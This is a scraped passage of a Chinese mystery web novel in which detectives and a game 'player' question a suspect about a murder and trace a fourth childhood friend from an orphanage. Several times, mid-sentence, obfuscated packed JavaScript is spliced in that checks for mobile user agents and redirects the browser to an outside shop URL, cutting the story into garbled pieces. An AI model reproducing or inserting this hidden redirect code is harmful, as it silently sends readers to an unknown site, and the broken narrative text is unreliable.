“既然他们三人已经互相认识十几年,感情深厚,那更能说明周林在有意隐瞒什么了。”纪然眼疾手快,赶在宋承落筷前夹走最后一个煎饺。 “……不管隐瞒什么,今天我们都必须从他口中挖出真相。”宋承放下筷子,再次重复今天的行动目的。 见大家吃得差不多了,纪然加快进食速度,飞快吃完后开始催促:“现在出发吗?” 倒计时只剩两天了,她必须要尽快完成任务。 几人也没磨蹭,吃完后立马出发去周林住所。纪然拿着笔记本寸步不离他们,在车上时看了一眼后视镜,这次可没有人开车来撞他们了。 周林住得不远,从警局开车半小时就到了。他们下车后与盯梢的警察打了个招呼,直行进了巷子里。 31. 在外面有猫腻 这条巷子仅有一条出口,他们沿着巷子直行,很快便来到了尽头,那里矗立着一栋楼房,正是周林的住处。 宋承走在最前边,直接上到三楼,对着这层楼唯一的一扇大门敲了敲。 没几下,门就被打开了,一个发型潦草的男人揉着眼看过来。纪然闻到里面一股浓烈的酒味,熏鼻得很。 “我们是临光区公安部刑事侦查部的警察,针对季铭和季然的情况,现依法对你进行一些询问,还请你配合。”宋承掏出证件,上来就点名主题。 之前宋承见过周林的照片,与眼前这个颓废模样的男子相比较,显然周林经历了一些不为人知的变故。 毕竟,任何一个遭遇朋友遇害这样的悲剧事件,都会变得憔悴起来。 李新咏闻到门后的味道时,不着痕迹地皱了皱眉,上下打量着周林——下巴上布满了杂乱的胡渣,黑眼圈深重,头发蓬乱,身上弥漫着浓重的酒味,这些特征交织在一起,构成了一幅典型的颓废画面。 最终目光停在周林的脖子处一道不起眼的细小划痕上。 他没露出什么异样,很快就移开了视线。 “都说了我不知道季然在哪,你们问我也没用。”周林有些不耐烦地说道。 宋承没在意他的烦躁语气,而是指着纪然问他:“你认识她吗?” 还以为这些警察又要问些关于那两兄妹的细节,结果周林听到一个很奇怪的问题。他看向门口站着的唯一的异性,怎么感觉这身型跟季然有些像…… 被盯着看了半天,纪然浑身不自在,对方的眼神令人心生厌烦。她抿着嘴面色不悦,毫不退缩地与对方对视。 打了个哈欠,周林收回眼神:“不认识,她是什么人?” 宋承没有回答他这句话,而是继续岔开话题:“方便让我们进去聊聊吗?” 不耐烦地啧了一声,周林用力拉开大门,像带着火气无处发泄似的:“随便你们吧,反正我什么都不知道。你们有问我这个功夫,不如去查查马路上的监控。” 说完他就转身往里走,一行人跟着进门。 客厅里凌乱不堪,像被强盗翻过似的。 进门后,纪然脑海中闪过的第一个念头便是如此描述眼前的场景。这个客厅里非常乱,物品随意散落,仿佛经历过一场混战,毫无秩序可言。 周林没管他们的想法,直接往堆满衣服的沙发上一坐,从茶几上拿起一罐啤酒往嘴里灌,打了个嗝。似乎现在才想起来这几个人的身份,态度变得友好起来:“你们要聊什么?” 面对这种脏乱到无从下脚的客厅和堆满杂物的沙发,纪然连呼吸都不敢用力,生怕多吸了一口难闻的各种混合的味道。 宋承三人没有挑剔环境,只是简单地整理了一下沙发,腾出几个座位便坐下了。纪然也跟着坐下,抱着笔记本恨不得把它变成口罩戴上。 “5月5号时季铭失踪,为什么你是5月10号昨天上午才来举报季然?”肖羽注意到茶几边缘处的划痕,眼神微动。没跟他客气,开场就直奔主题。 放下罐装啤酒,周林直视着肖羽:“警官,你也知道,我们是从小一起长大的。他们俩是兄妹啊,一开始我怎么可能会怀疑季然有什么问题。” 李新咏不动声色地仔细观察着客厅的每一个角落,试图发现一些细微而重要的线索。听到周林的话后,问道:“那你是发现了什么,才决定举报季然?” 尽管在接手这个案子时,他们已经了解到季铭的失踪背后还涉及大量资金的流失,并且与某些重大矛盾有关。但这些信息并不足以解释周林为什么会做出举报的决定。 “季铭和季然是从同一个福利院长大的,季铭小时候就很照顾他妹妹,季然也很依赖她哥,”周林揉了揉鼻子,抿了下嘴,“但是不记得从什么时候开始,他们俩就闹出了矛盾。” 宋承在仔细观察周林说话时的表情。所以季铭死亡前“曾与人有过重大矛盾”’的人是他妹妹季然? 想到上午在警局休息室的聊天内容,难道周林是确实不知道季然的住所,他是无辜的? “但就算有再大的矛盾,她哥哥突然失踪好几天了,为什么她会不着急呢?”周林似乎回忆起什么,面色有些难看,“不仅不着急,还用那种‘都已经报警了,你还想怎么样’的语气。” “她表现很不耐烦,”说到这里,周林的情绪开始升温,声音中带着明显的激动和不满,“警官,你会对你亲人的失踪这么冷漠,这么不在乎吗!” “她很明显有什么猫腻!说不定季铭的失踪和死亡就是跟她有关!”他面部发红,扬起下巴,嗓门都大了很多。 “所以,你这是凭借直觉举报?”李新咏面色冷静道,“你先冷静一下,警方查案是需要证据的。” 像触发到了什么关键词,周林突然冷笑起来:“呵,证据,难道证据还不够吗?她之前就跟季铭起过矛盾,谁知道是不是她怀恨在心杀了季铭。” “恨?”宋承捕捉到周林话里的关键字,紧紧盯着他问道,似乎要看穿他内心的真实想法,“她跟季铭有什么矛盾吗?” 根据他们目前调查到的线索来说,并没有发现季铭和季然之间存在重大矛盾或冲突。两人之间的关系一直较为和睦,没有明显的迹象能够表明,两个相依为命的亲人之间会有深到用“恨”字来形容的矛盾。 虽然周林在报失踪案时提到季铭曾与人有过矛盾,但具体人员身份和原因他并未说出,当时直言不清楚。果然,周林有所隐瞒,他们这过来一趟,还真能发现点新线索。 那他为什么要隐瞒线索呢?以当前情况来看,并没有确凿的证据证明周林与季铭的死亡有直接关系。所有的线索和证据更多的是都指向了其他可能的嫌疑人和动机。 “半个多月前,季铭找季然拿过一次钱,”周林语气平淡,仿佛在叙述一件再平常不过的事情,“季铭只是临时急需资金周转,她就跟季铭急赤白脸,三天两头的来要钱。” 听着周林说的话,纪然皱眉。在金钱面前,就算是亲兄妹也需要明算账啊。季铭向季然借钱,本应是一件理所当然的事情,但用“拿”这个词来描述,给人一种强硬又不尊重的感觉。 “季铭经常找季然要钱吗?”李新咏问道,他同样意识到周林话里的问题——身为兄长,在急需用钱时怎么会在向自己的妹妹借钱时,用“拿”这个字。 两人又不是未成年孩童,生活中会时常遇到经济上的拮据。在信任可靠的亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179116|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人面前,尤其是在相依为命的兄妹之间,用“拿”来表达借款或许显得更为亲切和自然。 但周林提到季铭需要资金周转,那金额数值就不小,用“拿”字来描述显得相当可疑。这不仅表示季铭在经济上存在某种困难,还意味着他在借款过程中可能存在某种不当行为或动机。 这个用词的微妙变化所透露出的不同含义,也引起了宋承和肖羽的注意。 在正常情况下,如果季铭真的只是向季然借钱,那么周林作为两人好友,应该会使用更委婉、更亲切的词汇,而不是这个带有一定距离感的“拿”字。 这说明季铭在向季然要钱时,可能并不是出于一种平等、自愿的借贷关系,而是带有某种程度的强制或压迫。 而周林在提及这件事时,口吻平静,仿佛对这种行为习以为常,但最后一句说季然时又带着道德绑架的感觉。这三人之间的关系看来并非表面查出来的那样平静啊。 “男人嘛,生活上需要用钱的地方多着呢,”周林说起这个很是坦然,捧起啤酒又喝了一口,“季铭手头紧,而季然又相对宽裕,找自己妹子拿点钱应应急不是应该的?” 这个态度证实了他们的猜测,纪然和警察三人对视一眼,看来大家都想到一块去了。 肖羽继续试探性问话:“之前季然有这么执着地找季铭还钱吗?” “那倒没有,”提到这个,周林好像陷入了回忆,停顿了几秒后说道,“也不知道她最近是怎么了,突然就火急火燎要季铭还钱,还要季铭把从她那里之前拿的钱还回来,三天两头找季铭吵架。” 他又补充道:“季然她一直都是一个很内向胆小的人,我们认识十几年了几乎没见过她这样急躁的样子,突然变了性格肯定是有些不对劲。” 听周林这意思,季然近期的行为变化明显,与过去内向胆小的性格形成鲜明对比。这表明她最近经历了一些不寻常的事情,导致了性格上的巨大转变。 几人都没忘记季然不仅与第九系列凶杀案牵扯上关系,同时还是所谓的无限游戏里的玩家。之前抓到的玩家就猜测过季然可能通关过一两个副本,算算时间也能对得上。 也就是说季然正是在被拉进无限游戏后,性格才发生了转变。 “季铭就没想着还钱吗?”想到这,肖羽又提问疑问。 “警官,当时都快月底了,季铭就算想还钱也得等到下个月发工资啊。他本来跟季然说等过段时间再还,可季然非不肯,还放狠话说如果再看不到钱她一定不让季铭好过!” 周林捏紧了手上的罐子,眼睛瞪得有点大,说话越来越激动。配上他那颓废的模样,显得像因朋友季铭的死而对季然怀恨在心。 “季铭的失踪和死亡肯定跟她脱不了干系!警官,你们可一定要详细查查季然,我看新闻说季铭的案子列入了第九系列凶杀案,那季然她绝对在外面有猫腻!” 周林把喝空的啤酒罐子狠狠往茶几上一放,呼吸略带急促,看起来很生气。 “季然的事我们会调查的,你先冷静点,”宋承的视线一直盯在周林身上,尤其是面部表情,“还有个问题,当时你在报案季铭失踪时,为什么不直接说出与他有矛盾和金钱纠纷的人是他妹妹季然?” 32. 第二个新手提示 “我没想到她会是那样的人……”周林深呼吸突出一口气,低着头缓缓道。 “当时报案时,确实是因为过于担心季铭,加上对季然的保护心理,我没有立刻说出她的名字。我害怕这样会给她带来不必要的麻烦和压力,毕竟她是季铭的亲妹妹,我们都不希望她受到牵连。” 说得倒是很合情合理,但在场来的几人都不是那么容易被三言两语给糊弄过去的人。 肖羽的目视线时不时落在茶几的玻璃台面的边缘处,听到周林的回答后很快想起昨天上午收到的消息,问:“在昨天上午你电话实名举报季然时,为什么不直接说出这条线索?” “这是因……” 周林话还没说完,宋承直接打断了他:“昨天警方来询问时,你明明有多次机会说出来,为什么一整天都没说,等到今天我们来找你时才肯吐露实情?” 目光犀利如鹰,紧紧盯着周林,试图从他的反应中窥探出真相。 “兄妹反目,谁会信呢?”突然被打断,周林一愣,但很快反应过来,“我也是从季铭上次落在我家的外套里找到的纸条,才发觉不对。” “纸条在哪?什么时候发现的?为什么不直接上报?”肖羽直接询问三连。 周林在身旁的衣服堆里扒拉了几下,拿起一件运动外套,从里面摸出一张纸递给斜对面离他最近的肖羽。 肖羽展开纸条,纪然也凑过头来看。上面用红色彩笔写着加粗的几个大字,字体工整得像打印出来似的: 「欠债还钱!天经地义!还钱!」 “季铭需要的钱比较多,上个月临近月底有些还不上,才找他妹妹季然拿钱,结果之后就收到这张纸条——这肯定就是季然写的!”周林说得有些咬牙切齿。 “要不是我昨天上午整理季铭的东西,都没看到这个纸条,所以发现后我就立马报警了。” “从昨天到现在有一天一夜的时间,为什么不上报?”肖羽又问了一遍。 周林双手抓了抓自己的头发,呼吸有些紊乱,语气却带着恨铁不成钢的感觉:“怎么说季然也算我半个妹妹,虽然怀疑是她,但是我还是希望季铭的死跟她没关系,所以一直在等警方的消息。” “一整天都没她消息,我就想着整理下季铭在我这的东西,看看能不能找到什么线索,结果就找到了这张纸条,让我确定了就是季然做的。” 他说得很流畅,没有丝毫停顿:“刚想着报警告诉你们,你们就来了。” 李新咏接过纸条后收起来,发觉到周林这句话与他行为举止的矛盾点:“你在开门的时为什么还是坚称自己什么都不知道?” 而且开门时还发着火,看起来很不耐烦的样子。还说了好几遍自己什么都不知道这种话,跟后来他接受询问时所展现出的态度截然不同。 周林看起来有些迟疑,像是在思考怎么组织语言,眉心微皱:“人都是会矛盾的,我一边期待着不是她,又一边怀疑她。在开门时就一直在想这件事,再加上最近被这些事影响到都睡不好,脾气难免会上来。” 任由肖羽和李新咏继续询问,宋承没有再说话,目光隐晦地打量着沙发和茶几,时而稍微侧脸观察着整个客厅。 笔记本放在腿上,纪然捏着自己的手指关节,每一句话都听得很仔细。虽然周林的陈述听起来并没有哪里不对,每个疑问点都能游刃有余地做出解释,但是纪然还是感觉他很不对劲。 在这之后,周林又说了不少他对于季然的猜测,唯独没有提到季然的住所,在他们询问后只说不清楚。 问他脖子上的痕迹时,他说是洗澡时不小心用手指划到的,但看划痕位置,他们没信这种说辞。 之后又问了不少问题后,宋承看了眼手机,点了几下屏幕,抬头说道:“非常感谢你对警方工作的配合,之后你若是还有什么线索,麻烦你及时跟我们警方联系。” 他们站起身,显然是结束了此次询问,准备离开。周林扯了扯衣领,目光投向堆满杂物的茶几,呼出一口气:“还请麻烦你们尽快找到杀害季铭的真凶,将季然绳之以法,还季铭一个公道。” “这是我们的职责。”李新咏点头回复道。 “不过现有的证据还不足以证明季然就是杀害季铭的真凶,但确实存在一些线索表明她与季铭的失踪有关。具体凶手是谁我们会继续追查下去,你好好休息吧。” 李新咏语气平缓地说完后,周林送他们往门口走。还没走几步,所有人就听到什么东西掉落在地上的声音。 “咚,轱辘——” 声音不大,却在一瞬间吸引了所有人的目光。 纪然回头,看到是电视柜上摆着的某个东西掉到地上,还滚了几圈。 “小阳光福利院——这是什么,奖杯?”肖羽迅速走过去,赶在周林之前捡起来一个像小孩子做出来的奖杯形状的东西。 “这个名字,”他打量了一圈手里巴掌大的东西,“是他们小时候待过的福利院吧……欸?” 肖羽缓缓念出奖杯底下的一串刻字:“‘季铭、季然、季顺、周林,永远的好朋友。’” 这话一念出来,客厅里有那么一瞬间的寂静,肖羽回头与两个队友对视一眼,眼里都带着几分意外。 纪然也一脸懵,怎么还又多出了一个人? “这个季顺是谁?”肖羽直接拿着奖杯问周林。 周林也没想到这个东西还能突然掉下来,被他们发现,神色间闪过一丝懊恼:“跟季铭他们一个福利院的,小时候我们四个玩得好,当时就一起做了这个东西当做纪念。” “据我们了解,近几年你们三人的交际圈子里并没有叫季顺的人,你们与季顺闹掰了?”肖羽眼睛微眯,问得很直白。 “是啊,人长大后很难就像小时候那么单纯了,以前的朋友在长大后渐渐变成了陌生人也很常见吧。”周林说得有些感慨,从肖羽手上接过奖杯,放回电视柜上。 肖羽点头,继续往门口走:“确实,那我们就不打扰你休息了,后续要是发现有新情况随时联系我们。” 周林应了声,送他们到门口。四人没有说话,径直下楼回到车里。 一关上车门,纪然就首先开口:“我觉得他有问题。” 即便他表现得一直都很正常,但总感觉哪里有违和感。 李新咏发动车子,先离开了这巷子附近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179117|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。一语道破违和的地方:“他回答得太流畅了,无论是什么样的质疑,他都能流利地给出回答和对应的情绪。” “这么一说,好像确实。之前做笔录你们问我的时候,我回答起来都得思考一下组织语言,而他回答起来就像不用过脑子一样。”纪然恍然大悟。 宋承靠在后排的椅背上,虽然没有直接的证据,但是多年的刑警经验让宋承觉得,周林很不对劲。 他思索后开口:“周林他知道我们会去找他,也提前想好了我们大概会问什么,所以他说得像在念答案。” “只是提前做准备倒还好,但你们发现没,他一直在把罪名往季然头上按。”肖羽摸着下巴,有些想不懂周林为什么要这么做。 “如果周林跟季然也有矛盾,想让我们抓到她,那为什么不说出她的住所呢,是真的不知道吗?” 虽然很别扭这个同发音的名字被叫来叫去,但纪然也能明白他的意思,想了想说道:“昨天在她房间床底下发现血迹,鉴定后证实了是她本人的,再配上周林‘不知道’住所……” 她在“不知道”这三个字上加了重音,后面未尽的话大家都能听得出来代表着什么意思。 确实,如果周林是故意隐瞒季然的住所,在查出季然房间里的血迹后,他的这种反应就很耐人寻味了。 要不是有监控表明季然在前天晚上出现过,再加上一直有玩家冒出来追杀她,他们都要开始怀疑季然是不是已经遇害了。 “在法律的框架内,一个人是否无辜取决于是否有充分的证据证明其有罪。” 宋承缓缓继续说道:“到目前为止,没有公开的信息能够表明周林被正式指控或定罪。在没有足够证据的情况下,我们不能断定周林是否真的无辜,只能说他目前没有被认定为犯罪嫌疑人。” “所以,周林也要详查,让人继续盯着他,有动静随时汇报。”宋承黑色眼眸幽深,看向车窗外向后倒退的街道。 周林对季然的态度确实显得颇为古怪,从他开门时,李新咏和肖羽观察到的不对劲地方他也看到了。但他们查过,周林与季铭间并没有什么矛盾和冲突,而且他也没有要害季铭的动机。 甚至在季铭失踪那段时间,周林一直在其他城市出差,直到9号也就是前天中午才回来的,有完美的不在场证明。 何况在出现所谓无限游戏的玩家后,季铭的死很明显就是玩家的手笔,不然一个碳基生物怎么可能死得没有任何病因和痕迹。 他们目前最主要的还是先找到季然,不仅关系到纪然的生命,还关系能否通过季然来找到到悬赏她的人——很大可能就是第九系列凶杀案的真凶。 纪然从口袋里摸出黑卡,也就是玩家身份卡,看了眼倒计时。还剩45:30小时,那现在的时间应该是中午十一点半。 顺手把卡片翻个面看了眼,这一眼,她就惊住了。 “第二个新手提示……触发过了。” 「主线剧情已激活」 「主线任务:找到消失的房主」 「支线任务:查明关于房主的事情真相(100积分)」 「新手提示:已使用(2/3)」 33. 第四个人 怎么还多了个支线任务? 关于这个积分,既然知道之前张统通关了3次副本,而她吸收张统的身份卡后获得了300积分,那这个支线任务给的100积分应该也不算少了。 虽然还不清楚积分能用来干嘛,但是多攒点准没错,得想办法把这个任务也给完成了。 听到纪然语气惊讶的话后,三人都有些差异。宋承问:“什么时候触发的?” 纪然回想了一下:“之前进周林家之前我还看了一眼,当时没变化。” “那就是在跟周林谈话时触发的,当时客厅里有什么自己跳出来的线索……”肖羽嘶了一声,反应过来,“不就是指刚才突然掉地上的奖杯吗?” “小阳光福利院,”肖羽提取其中关键词,肯定道,扭头问身旁的队长,“我们接下来去详细调查这个福利院?” 宋承嗯了一声:“不止,更重要的还有上面透露出来的名字——季顺。可以让陆兆兴查一下,把这人的档案发过来。不过时间跨度比较大,也许当年的记录可能已经模糊或遗失。” 从内置后视镜里与驾驶位的李新咏对上视线:“两边一起查,新咏,掉头去小阳光福利院。” 在李新咏更改路线时,宋承拿出手机发消息。陆兆兴与他们也合作过不少次,昨天的救援任务信息还是从他那知道的。 肖羽看向坐在副驾驶的纪然说:“我们之前查过这个福利院,只知道是季铭季然兄妹两一起长大的地方。据院长描述,他们两从小就感情好,没什么矛盾。还说季铭性格温和,从没与人起过争执。” 这些信息他们都知道,但纪然不清楚,肖羽索性直接讲给她听。 “一个人性格再怎么好,在孤儿院那种环境中,真的会完全没有争执吗?”纪然听后有些疑惑地问道,毕竟人又不是钱,怎么会人人都喜欢。 而小孩子的喜恶是最为直白的。 “时间已过去了十几二十年,当年在福利院孩子们都长大了,现在各个天南地北的,只剩下一个老院长。”肖羽解释道。 他无奈地继续说:“在调查那两兄妹时,我们主要是把重点放在他们近几年的社交圈和行动轨迹上,对于他们早年在福利院的生活细节,由于时间久远和资料缺失,我们的了解相对有限。” 也对,季铭跟他们差不多是同龄人,当年他们自己都是一群小孩,现在要追溯这种时间跨越久远的东西确实会很费劲。 “所以,在周林家发现的第四个人的名字,将成为我们接下来调查的关键线索。”肖羽感觉目前这个案子牵扯出来的人是越来越多了,像玩游戏时去触发npc似的,每天都会解锁几个新人物出来。 小阳光福利院并非在市区,而是在比较偏僻的老城区,那里的建筑风格古朴,街道两旁绿树成荫,给人一种宁静而神秘的感觉。 与门卫打过招呼,他们走进福利院,工作人员正对着室内外环境进行清洁和消毒,一股消毒水味扑面而来。 伴随着孩子们好奇的眼神和嬉戏声,让人感受到这里充满了生机与活力。有工作人员过来询问,然后带他们进了一幢两层高的小楼里。 院长办公室位于二楼,他们沿着木质楼梯缓缓上行,每一步都发出沉闷的回响。 待工作人员敲门通报后,他们走进去,只见一位神色温和的老妇人正坐在办公桌前,手中拿着一本厚厚的档案。 看到他们进来,老院长微笑着站了起来,语气平缓地打招呼:“你们好,我是这家福利院的院长,我姓季,可以叫我季女士。请问你们有什么事情吗?” 肖羽主动上前向她说明了来意,希望能够了解更多关于季铭季然两人的事,此外还有当年季顺的一些信息。 季女士听后叹了口气,神色带有一丝怀念:“之前你们警方也来过一次,我能想起来的已经全告诉你们了。季铭和季然两人从小到大都很乖,有人来领养都被他们拒绝了,非要待在我这又旧又穷的地方。” “他们念书都是一边上着学一边找活干,挣的钱不仅供自己读书生活,还经常补贴这里的其他弟弟妹妹们。他们是很孝顺善良的两个孩子。” 听起来这两兄妹确实都是品行端正的人,怎么季然会半夜把她带回自己房子里做替死鬼呢?纪然想不明白,难道进了无限游戏后会让人的变化这么大,彻底抛弃良知了吗? 是现在对季然的了解还不够深入,还是这个游戏的力量实在太过强大,足以改变一个人的本性? 还有之前在周林那听到的描述,既然兄妹两关系很好,为什么他会用“拿”来形容季铭找季然借钱的行为。这个可能是周林对这种行为的个人理解,也可能暗示着季铭在某种程度上对借钱的态度较为强硬或理所当然。 怎么看都不像是有老院长说的那么简单。 季女士眼里有些恍惚的哀伤:“怎么就偏偏发生这种事,他们还这么年轻……” 几个人都沉默了,气氛有点压抑。这种事情他们无法评价,无论季铭他们为人怎么样,他们唯一能做的就是仔细调查还原真相。 肖羽试图安慰她:“请您节哀,您的心情我们可以理解,任谁碰到这种自己看着长大的孩子发生意外都会难受。但我们不能一直沉浸在悲痛中,还有很多孩子都需要您。这件事情已经发生了,我们要做的是找到他遇害的真相,给他一个交代。” “是啊,还麻烦你们警官尽快查明真相。”季女士缓缓吐出一口气,压抑住自己心中涌起的哀痛。 她明白现在不是伤心的时候,每一刻的延误都可能让凶手逍遥法外。她从抽屉里拿出了一本泛黄的档案,翻到了其中一页。 指着档案上的照片和资料,缓缓开口:“这是你们要了解的季顺,他也是当年我们福利院里的一个孩子。他在这里生活了很长一段时间,后来被他亲生父母找到给带走了。不过,自从他离开后,好像我们几乎就没怎么收到他的消息了。” 档案上的照片里是一个看起来十岁不到的小男孩,冲着镜头笑得灿烂。资料里没什么特殊的,只提了一些基本信息和经历。 “他以前在这里有什么朋友?”李新咏看着档案问季女士。 时间间隔久远,加上这里的孩子众多,季女士盯着档案陷入了回忆,才说道:“他跟季铭和季然玩得好,那时候还有一个小男孩,住在附近,经常跟他们三个一起玩。” “不过……”她微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋承收到陆兆兴发过来的消息,转发到第一小队的群里。他们三人迅速翻阅了季顺的档案,除了对他童年时期在福利院的那段经历一笔带过外,其余内容主要聚焦于他被亲生父母找回后的生活轨迹。 “这么看起来似乎没什么问题,接下来直接去找他么?”肖羽看了眼时间,中午十二点半多了,“他在的公司也不算远,现在过去说不定还能赶上他午休睡醒。” 大家都没犹豫,选择立马出发。 纪然虽然没能看见季顺的档案,但这并不妨碍她参与调查的进程。毕竟,作为一名普通民众,她原本就无权接触警局内部的敏感资料,这种高度私密的信息若轻易落入她眼,反而不合常理。 车子在喧嚣的马路上行驶,明媚的阳光洒在地面,微风透过微敞的车窗,带走了午后渐渐累积的暑气,带来了一丝清凉。 下午一点半多,他们来到季顺所在的公司大楼底下。 肖羽看着档案上的联系方式,直接给季顺打了个电话让他出来。 季顺接到电话后有点莫名,但听到内容后面色凝重起来。他至今还记得当年在福利院里遇到的事,一时间眼中闪过嘲讽。 34. 谁欺负你了? 季顺趁着休息时间走出办公大楼,直接走到附近露天停车场。 李新咏视力敏锐,看过季顺档案后就记住了他的脸部特征,在他出现在停车场时,瞬间捕捉到动静。 “他来了,在左前方五十米处。”李新咏微微眯着眼观察他的一举一动。 在那个时刻,太阳炙烤着露天停车场,除了车子外,停车场空无一人。发现季顺的身影出现后,几人立刻从阴凉处走出,迎了上去。 为了避免引起不必要的警觉或者更好地融入调查环境,第一小队的三人都没穿警服,开得车子也很普通大众,这已经是纪然看到的第三辆不同的车子了。 季顺走过来后先是询问:“你们真的是警察?有证件么?” 三人掏出证件给他看了一眼,然后说明了季铭的事,提到了周林和老院长说出的部分信息。 谁知道季顺在听完后脸色微变,突然嗤笑一声:“我还以为他早就遭报应了。” 这话透露出来的潜台词让他们对视一眼。纪然有点感慨,听起来似乎又有转折了,这兄妹两的情况可真复杂。 “仔细讲讲,季铭怎么了?”从季顺开口第一句话时,肖羽就打开了手机录音,追问道。 靠在墙壁上,季顺抱着手臂,也没隐瞒什么,直接把当年在福利院见到的全都说了出来。 二十四年前,他们都是被拐卖的孩子,解救出来后有部分一直找不到家人,最后剩下的孩子全都送进福利院里。没想到这一待,就是待到了长大成人,始终不知道家人的消息。 不过他们也没在意什么,毕竟福利院里的院长妈妈和其他阿姨叔叔都很好,每天都关心他们有没有吃饱穿暖,有没有开心地玩耍。 还有一些大哥哥大姐姐们会经常来看他们,每次来都会给带好吃的小零食。还会陪他们一起玩游戏,讲故事。虽然不是有血缘的亲人,但是他们感觉大家都是一家人。 季顺之所以认识季铭,是因为小时候有一次,他半夜起床上厕所时,恰好撞见了另一个房间里的小男孩。当两人一同走进厕所时,那个小男孩的肚子突然咕噜作响,而在明亮的白炽灯下,季顺清晰地看到了他瞬间红透的耳朵。 当时季顺有些不道德地笑出了声,导致小男孩厕所也没上就跑了,但季顺是个立志要做乖孩子的人。所以他上完厕所后回房间翻出自己省下来的零食,悄悄推开隔壁宿舍的门。 那个小男孩正在墩墩喝着水,好像在缓解饥饿一样。季顺走过去递出零食,收获了一个惊讶的眼神。 “刚才我不是故意的,这个给你吃。”季顺用气音小声地说。 小男孩挠了挠头,不到六岁的孩童一下子就忘记了之前的尴尬事,接过零食。 随后季顺知道了他的名字,叫季铭。因为被拐卖时太小,不记得自己的名字,进了这里后,由院长妈妈重新取的名。 从那之后,他们两就成了好朋友,天天在一块玩。季顺还知道他有个妹妹,虽然没有血缘关系。 他的妹妹,季然——这个名字也是院长妈妈取的,她与季铭是同期被拐的孩子。因为她当时是那一群孩子最小的一个,才学会跑步没多久,在摔倒时被季铭扶了一把,然后就经常跟这个对她好的小哥哥一起玩。 季铭自己身为一个小孩,也许是经历被拐被打,心智要比同龄孩子成熟一些,面对这个比他还要小的孩子时,无师自通地学会了照顾她。之后季铭就自称为她哥哥,无论谁来问都说是亲兄妹。 要不是小时候的季铭太老实,对季顺没有任何隐瞒,他压根就不会发现这两人不是亲兄妹。 但是谁知道呢,从小玩到大的好朋友,在十多岁时,也不知道是因为叛逆期还是怎么,变得越来越陌生了。 十六年前他们十二岁,在福利院的帮助下就读于当地初中。虽然他们不在一个班上但也经常一起玩,后来季铭认识了与他同班的周林,两人行变成三人行。 再后来,周林有空的时候就会来福利院找他们玩,他们会带上当时只有十岁的季然一起,四人成了很好的朋友。 季顺虽然立志要成为一个乖孩子,但是他很难改掉自己的毛躁的性格。可能就是怕他这个性子以后会闯祸吧,院长妈妈给他取的名就是“顺”字,希望他以后可以人生一帆风顺,什么都顺顺利利的。 他们四个在一起互相陪伴了很多年,还一起亲手摸索着制作了个友谊奖杯,纪念他们的友谊万岁。因为住在福利院东西不好存放,便放在了周林家。 他们四人相处融洽——除了季然太过于内向胆小。季顺总想着让她大胆点,不要那么内向怕人,但怎么带都带不动。从初中一直到高中,他们一起惹过祸挨过训,一起学习互相鼓励。 高中文理分班后,季顺没有学理科,而是跟季然一起选了文科,可惜没分到一个班里。而季铭和周林都选了理科,他们又成了同班同学。 一开始他并没有发现什么不对劲的地方,但谁知道呢,这美好的一切在季顺高三那年崩掉了。 在那一年的某一个阴天里,季顺因为发高烧住进医院,请了几天假后打完针就回福利院继续刷题。恰好那几天季然因为痛经严重到晕倒,也请了假回福利院休息。 那时候他们17岁,季然15岁。季顺也认识季然接近十二年了,早就把她当半个亲妹子看。要不是季然只听季铭的话,平常不爱搭理他,不然他就是当一整个亲妹子看了。 所以退了烧后,季顺知道季然不舒服,早上中午都没吃饭后,他借用食堂的厨房煮了碗粥端到季然的宿舍。 季然打开门时有些惊讶,不太自然的错开视线:“顺哥你怎么来了?” “这不是听说你一天没吃饭了吗,你这别不把自己身体当回事,多少也喝点粥吧,不舒服就更不应该饿肚子呀,只会让你更难受。”季顺把粥递给她,也没进去,就站在门口跟她絮絮叨叨。 季然脸色发白,看起来不是很想跟他聊天。季顺看得出这半个妹妹又不太想搭理他,大概是因为确实肚子痛吧。他也就没说多少,叮嘱几句后准备回去。 结果在季然端着碗时,袖子往下滑了滑,一下子就露出手臂上的伤痕。 季顺脸色一变:“你手臂怎么了?你受伤了?” 她单手端着碗,不顾着烫就把袖子扯回去:“没什么,之前走路不小心摔倒了,手臂划破了点皮。” “顺哥你先回去吧,我肚子痛不能一直站着。”季然准备关门。 不对,那个痕迹根本就不是摔伤能造成的,更像是被人为打出来的。 “小妹,你实话告诉顺哥,是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他没直接表露出来,虽然有些时候性子急躁,但他又不是没脑子。季顺暗中观察,在下车时,季然伸手扶住座椅起身时,他又看到了袖子下滑后露出来的伤痕。 是新添的。 一瞬间他脑子里冒出很多想法,还有各种阴谋论,最后又被他一一排除。 